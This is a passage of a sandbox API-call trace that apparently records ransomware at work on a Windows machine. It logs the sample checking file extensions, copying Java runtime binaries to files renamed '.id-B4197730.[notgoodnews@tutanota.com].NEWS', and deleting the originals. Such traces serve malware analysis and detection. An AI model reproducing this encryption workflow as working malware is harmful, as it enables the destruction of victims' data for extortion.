lpString2=".exe") returned 1 [0091.918] lstrlenW (lpString=".bz2") returned 4 [0091.919] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.919] lstrlenW (lpString=".7z") returned 3 [0091.919] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0091.919] lstrlenW (lpString=".dbf") returned 4 [0091.919] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0091.919] lstrlenW (lpString=".1cd") returned 4 [0091.919] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0091.919] lstrlenW (lpString=".jpg") returned 4 [0091.919] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.919] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0091.919] lstrlenW (lpString="kinit.exe") returned 9 [0091.919] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.919] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=16448) returned 1 [0091.920] CloseHandle (hObject=0x364) returned 1 [0091.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 0x20 [0091.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.920] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.920] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.920] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.920] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0091.921] GetLastError () returned 0x0 [0091.921] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x4040, lpOverlapped=0x0) returned 1 [0091.922] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x4050, lpOverlapped=0x0) returned 1 [0091.926] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.926] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe6, lpOverlapped=0x0) returned 1 [0091.926] SetEndOfFile (hFile=0x378) returned 1 [0091.926] CloseHandle (hObject=0x378) returned 1 [0091.926] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.926] SetEndOfFile (hFile=0x364) returned 1 [0091.927] CloseHandle (hObject=0x364) returned 1 [0091.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.927] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 1 [0091.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0091.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0091.927] lstrlenW (lpString=".doc") returned 4 [0091.927] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.927] lstrlenW (lpString=".docx") returned 5 [0091.928] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0091.928] lstrlenW (lpString=".pdf") returned 4 [0091.928] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.928] lstrlenW (lpString=".xls") returned 4 [0091.928] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.928] lstrlenW (lpString=".xlsx") returned 5 [0091.928] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0091.928] lstrlenW (lpString=".ppt") returned 4 [0091.928] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0091.928] lstrlenW (lpString=".zip") returned 4 [0091.928] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.928] lstrlenW (lpString=".rar") returned 4 [0091.928] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.928] lstrlenW (lpString=".bz2") returned 4 [0091.928] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.928] lstrlenW (lpString=".7z") returned 3 [0091.928] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0091.928] lstrlenW (lpString=".dbf") returned 4 [0091.928] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0091.928] lstrlenW (lpString=".1cd") returned 4 [0091.928] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0091.928] lstrlenW (lpString=".jpg") returned 4 [0091.928] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0091.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0091.928] lstrlenW (lpString=".doc") returned 4 [0091.928] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.928] lstrlenW (lpString=".docx") returned 5 [0091.928] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0091.928] lstrlenW (lpString=".pdf") returned 4 [0091.928] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.929] lstrlenW (lpString=".xls") returned 4 [0091.929] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.929] lstrlenW (lpString=".xlsx") returned 5 [0091.929] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0091.929] lstrlenW (lpString=".ppt") returned 4 [0091.929] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.929] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0091.929] lstrlenW (lpString=".zip") returned 4 [0091.929] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.929] lstrlenW (lpString=".rar") returned 4 [0091.929] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.929] lstrlenW (lpString=".bz2") returned 4 [0091.929] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.929] lstrlenW (lpString=".7z") returned 3 [0091.929] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.929] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0091.929] lstrlenW (lpString=".dbf") returned 4 [0091.929] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.929] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0091.929] lstrlenW (lpString=".1cd") returned 4 [0091.929] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.929] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0091.929] lstrlenW (lpString=".jpg") returned 4 [0091.929] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.929] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0091.929] lstrlenW (lpString="klist.exe") returned 9 [0091.929] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.930] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=16448) returned 1 [0091.930] CloseHandle (hObject=0x364) returned 1 [0091.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 0x20 [0091.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.930] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.930] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.930] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.930] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0091.930] GetLastError () returned 0x0 [0091.930] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x4040, lpOverlapped=0x0) returned 1 [0091.933] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x4050, lpOverlapped=0x0) returned 1 [0091.934] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.934] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe6, lpOverlapped=0x0) returned 1 [0091.934] SetEndOfFile (hFile=0x378) returned 1 [0091.934] CloseHandle (hObject=0x378) returned 1 [0091.934] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.934] SetEndOfFile (hFile=0x364) returned 1 [0091.935] CloseHandle (hObject=0x364) returned 1 [0091.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.935] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 1 [0091.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0091.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0091.936] lstrlenW (lpString=".doc") returned 4 [0091.936] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.936] lstrlenW (lpString=".docx") returned 5 [0091.936] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0091.936] lstrlenW (lpString=".pdf") returned 4 [0091.936] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.936] lstrlenW (lpString=".xls") returned 4 [0091.936] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.936] lstrlenW (lpString=".xlsx") returned 5 [0091.936] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0091.936] lstrlenW (lpString=".ppt") returned 4 [0091.936] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0091.936] lstrlenW (lpString=".zip") returned 4 [0091.936] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.936] lstrlenW (lpString=".rar") returned 4 [0091.936] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.936] lstrlenW (lpString=".bz2") returned 4 [0091.936] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.936] lstrlenW (lpString=".7z") returned 3 [0091.936] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0091.936] lstrlenW (lpString=".dbf") returned 4 [0091.936] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0091.936] lstrlenW (lpString=".1cd") returned 4 [0091.936] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0091.936] lstrlenW (lpString=".jpg") returned 4 [0091.936] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0091.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0091.937] lstrlenW (lpString=".doc") returned 4 [0091.937] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.937] lstrlenW (lpString=".docx") returned 5 [0091.937] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0091.937] lstrlenW (lpString=".pdf") returned 4 [0091.937] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.937] lstrlenW (lpString=".xls") returned 4 [0091.937] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.937] lstrlenW (lpString=".xlsx") returned 5 [0091.937] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0091.937] lstrlenW (lpString=".ppt") returned 4 [0091.937] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0091.937] lstrlenW (lpString=".zip") returned 4 [0091.937] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.937] lstrlenW (lpString=".rar") returned 4 [0091.937] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.937] lstrlenW (lpString=".bz2") returned 4 [0091.937] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.937] lstrlenW (lpString=".7z") returned 3 [0091.937] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0091.937] lstrlenW (lpString=".dbf") returned 4 [0091.937] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0091.937] lstrlenW (lpString=".1cd") returned 4 [0091.937] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0091.937] lstrlenW (lpString=".jpg") returned 4 [0091.937] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.937] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0091.938] lstrlenW (lpString="ktab.exe") returned 8 [0091.938] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.938] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=16448) returned 1 [0091.938] CloseHandle (hObject=0x364) returned 1 [0091.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 0x20 [0091.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.938] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.938] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.938] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.938] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0091.939] GetLastError () returned 0x0 [0091.939] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x4040, lpOverlapped=0x0) returned 1 [0092.230] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x4050, lpOverlapped=0x0) returned 1 [0092.231] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.232] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe4, lpOverlapped=0x0) returned 1 [0092.232] SetEndOfFile (hFile=0x378) returned 1 [0092.232] CloseHandle (hObject=0x378) returned 1 [0092.232] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.232] SetEndOfFile (hFile=0x364) returned 1 [0092.233] CloseHandle (hObject=0x364) returned 1 [0092.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.233] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 1 [0092.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0092.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0092.262] lstrlenW (lpString=".doc") returned 4 [0092.262] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.262] lstrlenW (lpString=".docx") returned 5 [0092.262] lstrcmpiW (lpString1=".docx", lpString2="b.exe") returned -1 [0092.262] lstrlenW (lpString=".pdf") returned 4 [0092.262] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.262] lstrlenW (lpString=".xls") returned 4 [0092.262] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.262] lstrlenW (lpString=".xlsx") returned 5 [0092.262] lstrcmpiW (lpString1=".xlsx", lpString2="b.exe") returned -1 [0092.262] lstrlenW (lpString=".ppt") returned 4 [0092.262] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0092.262] lstrlenW (lpString=".zip") returned 4 [0092.262] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.262] lstrlenW (lpString=".rar") returned 4 [0092.262] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.262] lstrlenW (lpString=".bz2") returned 4 [0092.263] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.263] lstrlenW (lpString=".7z") returned 3 [0092.263] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0092.263] lstrlenW (lpString=".dbf") returned 4 [0092.263] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0092.263] lstrlenW (lpString=".1cd") returned 4 [0092.263] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0092.263] lstrlenW (lpString=".jpg") returned 4 [0092.263] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0092.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0092.263] lstrlenW (lpString=".doc") returned 4 [0092.263] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.263] lstrlenW (lpString=".docx") returned 5 [0092.263] lstrcmpiW (lpString1=".docx", lpString2="b.exe") returned -1 [0092.263] lstrlenW (lpString=".pdf") returned 4 [0092.263] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.263] lstrlenW (lpString=".xls") returned 4 [0092.263] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.263] lstrlenW (lpString=".xlsx") returned 5 [0092.263] lstrcmpiW (lpString1=".xlsx", lpString2="b.exe") returned -1 [0092.263] lstrlenW (lpString=".ppt") returned 4 [0092.263] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0092.263] lstrlenW (lpString=".zip") returned 4 [0092.263] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.263] lstrlenW (lpString=".rar") returned 4 [0092.263] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.263] lstrlenW (lpString=".bz2") returned 4 [0092.263] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.263] lstrlenW (lpString=".7z") returned 3 [0092.263] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0092.264] lstrlenW (lpString=".dbf") returned 4 [0092.264] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0092.264] lstrlenW (lpString=".1cd") returned 4 [0092.264] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0092.264] lstrlenW (lpString=".jpg") returned 4 [0092.264] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.264] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.264] lstrlenW (lpString="msvcp120.dll") returned 12 [0092.264] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.382] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=660128) returned 1 [0092.382] CloseHandle (hObject=0x378) returned 1 [0092.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20 [0092.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program 